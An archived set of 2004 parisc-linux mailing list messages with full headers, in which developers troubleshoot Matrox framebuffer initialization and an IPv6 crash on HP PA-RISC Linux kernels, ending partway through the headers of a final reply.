Original-Received: (qmail 24337 invoked by uid 65534); 22 Jun 2004 15:16:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 22 Jun 2004 17:16:19 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7E3153BDCB; Tue, 22 Jun 2004 09:16:15 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02155-03; Tue, 22 Jun 2004 09:16:15 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 683463BDCE; Tue, 22 Jun 2004 09:15:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 77B553BDCA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 09:15:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 01487-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 09:15:47 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 3BE9B3BDC9
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 09:15:47 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id CC2AB4946A5; Tue, 22 Jun 2004 09:15:46 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from royk.itea.ntnu.no (royk.itea.ntnu.no [129.241.190.230])
	by palinux.hppa (Postfix) with ESMTP id 2CBB3494679
	for <parisc-linux@parisc-linux.org>;
	Tue, 22 Jun 2004 09:15:46 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by royk.itea.ntnu.no (Postfix) with ESMTP id 76EC567707
	for <parisc-linux@parisc-linux.org>;
	Tue, 22 Jun 2004 17:15:44 +0200 (CEST)
Original-Received: from leopard.stud.ntnu.no (leopard.stud.ntnu.no [129.241.56.182])
	by royk.itea.ntnu.no (Postfix) with ESMTP id 48E2467096
	for <parisc-linux@parisc-linux.org>;
	Tue, 22 Jun 2004 17:15:44 +0200 (CEST)
X-Content-Scanned: with sophos and spamassassin at mailgw.ntnu.no.
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24853

Hello list,
I recently got my mystique working with matroxfb and kernel 2.4.24 by
modifying the write/read functions in mga.h. Everything seems
fine when passing noinit to the module. Standard card initialization
however,  fails. Has anyone else observed the same problem with other matrox cards
(Millenium etc)?

I really do not understand why, it fails while probing the
video memory (writing then reading the same address).

	cheers,

	Ivar
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Matrox Mystique & C3000
Date: Tue, 22 Jun 2004 20:55:53 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20040622195553.GA27440@sal.ucc.ie>
References: <Pine.LNX.4.58.0406221657130.18505@leopard.stud.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416624456 25519 80.91.229.3 (22 Nov 2014 02:47:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:36 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Ivar <orskaug@stud.ntnu.no>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 20692 invoked by uid 65534); 22 Jun 2004 19:57:15 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 22 Jun 2004 21:57:15 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 5D81E3BDE1; Tue, 22 Jun 2004 13:56:58 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05207-06; Tue, 22 Jun 2004 13:56:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id C3E663BDEB; Tue, 22 Jun 2004 13:56:05 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 96FA03BDE8
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 13:56:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04165-10 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 13:56:01 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 5A0C53BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 22 Jun 2004 13:55:57 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id E68114946A5; Tue, 22 Jun 2004 13:55:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by palinux.hppa (Postfix) with ESMTP id 1D0EE494679
	for <parisc-linux@parisc-linux.org>;
	Tue, 22 Jun 2004 13:55:56 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i5MJtso4021137;
	Tue, 22 Jun 2004 20:55:54 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1BcrN3-00079J-T4; Tue, 22 Jun 2004 20:55:53 +0100
Mail-Followup-To: Ivar <orskaug@stud.ntnu.no>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0406221657130.18505@leopard.stud.ntnu.no>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24854

On Tue, Jun 22, 2004 at 05:15:44PM +0200, Ivar wrote:
> Hello list,
> I recently got my mystique working with matroxfb and kernel 2.4.24 by
> modifying the write/read functions in mga.h. Everything seems
> fine when passing noinit to the module.

Actually I have "matroxfb=init" in my /etc/palo.conf, and my old
Matrox Millenium works fine. Dmesg says:

 kernel: matroxfb_base: falsely claims to have parameter mtrr
 kernel: matroxfb: Matrox Millennium (PCI) detected
 kernel: matroxfb: 640x480x8bpp (virtual: 640x13081)
 kernel: matroxfb: framebuffer at 0xF6000000, mapped to 0xf6000000,
                   size 8388608
 kernel: fb0: MATROX frame buffer device
 kernel: fb0: initializing hardware

However the driver sometimes doesn't init the matrox properly:
e.g. when I shut down and reboot the C3000 by hitting the On/Off button,
the machine will reboot, the matroxfb will initialize the card,  but
xdm will cause a kernel oops.
However when I physically disconnect the machine from the power
for a few seconds before I reboot, it always initializes the
graphics card fine.

> Standard card initialization however,  fails. Has anyone else
> observed the same problem with other matrox cards
> (Millenium etc)?

I have tried the same with Voodoo2, Voodoo3 3000 and a ATI Rage XL
(however none of them recently), and all failed.

> I really do not understand why, it fails while probing the
> video memory (writing then reading the same address).

Well, in my case the cards produced either a kernel oops (non-fatal),
or a crash or just no visible result (ie. blank screen).


Greetings,
  Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ipv6 problem with 2.6.7-pa1
Date: Sun, 27 Jun 2004 14:59:56 +0000
Lines: 62
Approved: news@gmane.org
Message-ID: <40DEE0EC.5040700@tiscali.be>
References: <20040622005559.GA24406@sal.ucc.ie>
	<40BD9F050000D9F3@ocpmta1.freegates.net>
	<20040623050009.GB27085@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624457 25525 80.91.229.3 (22 Nov 2014 02:47:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9283 invoked by uid 65534); 27 Jun 2004 15:00:36 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 27 Jun 2004 17:00:36 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9FD4A3BE2A; Sun, 27 Jun 2004 09:00:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03320-07; Sun, 27 Jun 2004 09:00:19 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E3D693BDF7; Sun, 27 Jun 2004 09:00:02 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 125323BDEB
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 08:59:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03320-04 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 08:59:59 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D785F3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 08:59:58 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 094294948EE; Sun, 27 Jun 2004 08:59:56 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP
	id 06BC6494679; Sun, 27 Jun 2004 08:59:54 -0600 (MDT)
Original-Received: from [83.134.226.117] (helo=[83.134.226.117])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Beb8L-0002Fs-AW; Sun, 27 Jun 2004 16:59:53 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7) Gecko/20040624 Debian/1.7-2
X-Accept-Language: en
In-Reply-To: <20040623050009.GB27085@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24855

Hello all,

I find interesting to report the success of following test on my c110 with k-2.6.7-pa1 + ncr patch:

* I just tar my kernel src tree in a 'big' file of about 200Mb (previous patch that was enough to crash the system)
* I scp (ipv4 first) this file to my pc (it takes about 4:15 with a 10Mb nic that's a rate of less then 1MB/s Ok for me)
     (i do this from hppa to pc because Guy's report indicates that tx stuff was the pb)
* I recompile the kernels (pc & hppa) to add just CONFIG_EXPERIMENTAL & CONFIG_IPV6 (also CONFIG_IPV6_PRIVACY don't know yet if 
required)
* refering to <http://people.debian.org/~csmall/ipv6/setup.html> and with Guy's help, after reboot I choose the simplest way and
* config my second pc nic with 'ifconfig eth1 add 2001:0db8:0005:0006::79/64'
* config the buildin nic of my hppa with: 'ifconfig eth0 add 2001:db8:5:6::78/64'
* i can ping6 (added thanks to iputils-ping dpkg) each other ;)
* I just add those to ip6 address to my /etc/hosts:
2001:db8:5:6::78	hpal-ip6
2001:db8:5:6::79	sidh-ip6

* i re-launch scp of previous 200Mb file from hppa to pc and all is Ok ;)
* and do the reverse (pc to hppa) with same success (just a bit slowest: ie 4:47 min in place of 04:12)

Cheers,
	Joel

Grant Grundler wrote:
> On Tue, Jun 22, 2004 at 07:09:33PM +0200, Joel Soete wrote:
> 
>>Very intersecting, c3k is using a tulip as builtin nic (iirc) and
>>not ccio-dma.
> 
> 
> c3k is using sba_iommu.c instead.
> 
> 
>>OTC d250 (as well as c110) uses LASI ASIC interface.
>>
>>Grant could you let me know if this last nic also interface with ccio-dma?
> 
> 
> Yes. All IO goes through the IOMMU when it's part of the system.
> 
> 
>>even over my ncr patch on this d model?
> 
> 
> seems jejb would prefer to see your patch get committed and then
> move upstream.
> 
> 
>>Is this kind of interface also use the scatter/gather list?
> 
> 
> NICs don't scatter gather. They only map a single buffer at
> a time.
> 
> grant
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ipv6 problem with 2.6.7-pa1
Date: Sun, 27 Jun 2004 17:11:52 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <20040627161152.GB8598@sal.ucc.ie>
References: <20040622005559.GA24406@sal.ucc.ie>
	<40BD9F050000D9F3@ocpmta1.freegates.net>
	<20040623050009.GB27085@colo.lackof.org>
	<40DEE0EC.5040700@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
X-Trace: ger.gmane.org 1416624457 25534 80.91.229.3 (22 Nov 2014 02:47:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 15672 invoked by uid 65534); 27 Jun 2004 16:12:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 27 Jun 2004 18:12:29 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2BEB43BE35; Sun, 27 Jun 2004 10:12:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04452-08; Sun, 27 Jun 2004 10:12:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7BF293BDF7; Sun, 27 Jun 2004 10:12:03 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D83C13BDEE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:12:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04452-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:12:00 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id D7E203BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:11:59 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 2E6934948EF; Sun, 27 Jun 2004 10:11:59 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by palinux.hppa (Postfix) with ESMTP
	id 310CF494679; Sun, 27 Jun 2004 10:11:58 -0600 (MDT)
Original-Received: from sal.ucc.ie (Debian-exim@sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i5RGBro4015282;
	Sun, 27 Jun 2004 17:11:53 +0100
Original-Received: from xam by sal.ucc.ie with local (Exim 4.32)
	id 1BecG0-0002GM-Oa; Sun, 27 Jun 2004 17:11:52 +0100
Mail-Followup-To: Joel Soete <soete.joel@tiscali.be>,
	Grant Grundler <grundler@parisc-linux.org>,
	Guy Martin <gmsoft@gentoo.org>, parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <40DEE0EC.5040700@tiscali.be>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24856

On Sun, Jun 27, 2004 at 02:59:56PM +0000, Joel Soete wrote:
> Hello all,
> 
> I find interesting to report the success of following test on my c110
> with k-2.6.7-pa1 + ncr patch:
> 
> * I just tar my kernel src tree in a 'big' file of about 200Mb
>   (previous patch that was enough to crash the system)
> * I scp (ipv4 first) this file to my pc (it takes about 4:15 with
>   a 10Mb nic that's a rate of less then 1MB/s Ok for me)

BTW, what kind of NIC (ne2k, tulip, etherexpress, some 3com ...?)

>   (i do this from hppa to pc because Guy's report indicates that
>    tx stuff was the pb)

I'm still suspicious that the network card (ie. the driver) could
cause Guy's problem, although his kernel stack dump doesn't give
any indication and suggests to look somewhere else (ie. IPv6)

> * I recompile the kernels (pc & hppa) to add just CONFIG_EXPERIMENTAL & 
>   CONFIG_IPV6 (also CONFIG_IPV6_PRIVACY don't know yet if required)

If you don't assign a IPv6 address to a NIC manually, IPv6 does
create one automatically. With 'Privacy Extensions' enabled,
the address autoconfiguration uses 'random' IPv6 addresses instead
of deriving them from the MAC address (EUI-64).

Since you set up your IPv6 addresses manually, you don't need
CONFIG_IPV6_PRIVACY). BTW, you also have to explicitly turn those
'privacy extensions' on (via /proc) if you want to use it.

> * refering to <http://people.debian.org/~csmall/ipv6/setup.html>
>   and with Guy's help, after reboot I choose the simplest way and
> * config my second pc nic with 'ifconfig eth1 add 
>   2001:0db8:0005:0006::79/64'
> * config the buildin nic of my hppa with: 'ifconfig eth0 add 
>   2001:db8:5:6::78/64'
> * i can ping6 (added thanks to iputils-ping dpkg) each other ;)
> * I just add those to ip6 address to my /etc/hosts:
>   2001:db8:5:6::78	hpal-ip6
>   2001:db8:5:6::79	sidh-ip6
> * i re-launch scp of previous 200Mb file from hppa to pc and all is Ok ;)
> * and do the reverse (pc to hppa) with same success (just a bit
>   slowest: ie 4:47 min in place of 04:12)

Well, what else is different from Guy's config?
He's using the machine as a IPv6 router, so you might have to
simulate this aswell in order to trigger the same problem that Guy
has. As I said, I have virtually the same IPv6 setup as Guy has,
but I don't have the problem on my C3000.

Greetings,
   Max
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ipv6 problem with 2.6.7-pa1
Date: Sun, 27 Jun 2004 16:50:27 +0000
Lines: 90
Approved: news@gmane.org
Message-ID: <40DEFAD3.5050105@tiscali.be>
References: <20040622005559.GA24406@sal.ucc.ie>
	<40BD9F050000D9F3@ocpmta1.freegates.net>
	<20040623050009.GB27085@colo.lackof.org>
	<40DEE0EC.5040700@tiscali.be> <20040627161152.GB8598@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624457 25542 80.91.229.3 (22 Nov 2014 02:47:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:47:37 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9700 invoked by uid 65534); 27 Jun 2004 16:51:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 27 Jun 2004 18:51:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8AF063BCA9; Sun, 27 Jun 2004 10:51:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04945-08; Sun, 27 Jun 2004 10:51:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A21B13BE24; Sun, 27 Jun 2004 10:50:33 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3234E3BDEE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:50:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04945-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:50:30 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EF8BF3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:50:29 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 19C0F4948EF; Sun, 27 Jun 2004 10:50:27 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by palinux.hppa (Postfix) with ESMTP
	id 10A85494679; Sun, 27 Jun 2004 10:50:25 -0600 (MDT)
Original-Received: from [83.134.226.117] (helo=[83.134.226.117])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1BecrI-0000iL-1F; Sun, 27 Jun 2004 18:50:24 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7) Gecko/20040624 Debian/1.7-2
X-Accept-Language: en
In-Reply-To: <20040627161152.GB8598@sal.ucc.ie>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
